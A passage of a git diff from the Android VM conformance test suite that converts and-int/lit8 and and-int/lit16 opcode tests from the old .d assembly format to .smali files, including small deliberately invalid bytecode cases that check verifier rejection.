-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       const-wide v0, 1
-       and-int/lit16 v0, v0, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.smali
new file mode 100644
index 0000000..18d86c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_7.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1
+       and-int/lit16 v0, v0, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.d
deleted file mode 100644
index 614d2b1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_8.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       and-int/lit16 v2, v3, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.smali
new file mode 100644
index 0000000..cc5a564
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_8.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       and-int/lit16 v2, v3, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.d
deleted file mode 100644
index 23b9e82..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_9.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 4
-       and-int/lit16 v0, v3, 123
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.smali
new file mode 100644
index 0000000..8a76f3a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_9.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 4
+       and-int/lit16 v0, v3, 123
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.d
deleted file mode 100644
index c357564..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_1.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 15
-       and-int/lit8 v0, v0, 8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.smali
new file mode 100644
index 0000000..eceddb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 15
+       and-int/lit8 v0, v0, 8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.d
deleted file mode 100644
index d9a6181..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_10.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int/lit8 v0, v4, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.smali
new file mode 100644
index 0000000..31eab62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/lit8 v0, v4, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.d
deleted file mode 100644
index 4161d0e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_2.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, -7
-       and-int/lit8 v0, v0, -8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.smali
new file mode 100644
index 0000000..d3b56db
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, -7
+       and-int/lit8 v0, v0, -8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.d
deleted file mode 100644
index 7b5fd5d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_3.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 0xcafe
-       and-int/lit8 v0, v0, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.smali
new file mode 100644
index 0000000..4aa33ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0xcafe
+       and-int/lit8 v0, v0, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.d
deleted file mode 100644
index 5b2fd88..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_4.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 0
-       and-int/lit8 v0, v0, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.smali
new file mode 100644
index 0000000..ea3d7d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0
+       and-int/lit8 v0, v0, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.d
deleted file mode 100644
index 9634339..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_5.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 127
-       and-int/lit8 v0, v0, -128
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.smali
new file mode 100644
index 0000000..ffe089c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 127
+       and-int/lit8 v0, v0, -128
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.d
deleted file mode 100644
index 7e6a548..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_6.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       const-wide v0, 1.0
-       and-int/lit8 v0, v0, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.smali
new file mode 100644
index 0000000..d93081e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1.0
+       and-int/lit8 v0, v0, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.d
deleted file mode 100644
index e09f8bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_7.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       const-wide v0, 1
-       and-int/lit8 v0, v0, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.smali
new file mode 100644
index 0000000..427757d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1
+       and-int/lit8 v0, v0, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.d
deleted file mode 100644
index 78936ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit8_8.java
-.class public dot.junit.opcodes.and_int_lit8.d.T_and_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       and-int/lit8 v2, v3, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.smali
new file mode 100644
index 0000000..106de42
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       and-int/lit8 v2, v3, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit8/d/T_and_int_lit8_9.d
deleted file mode 100644
index cb63071..0000000
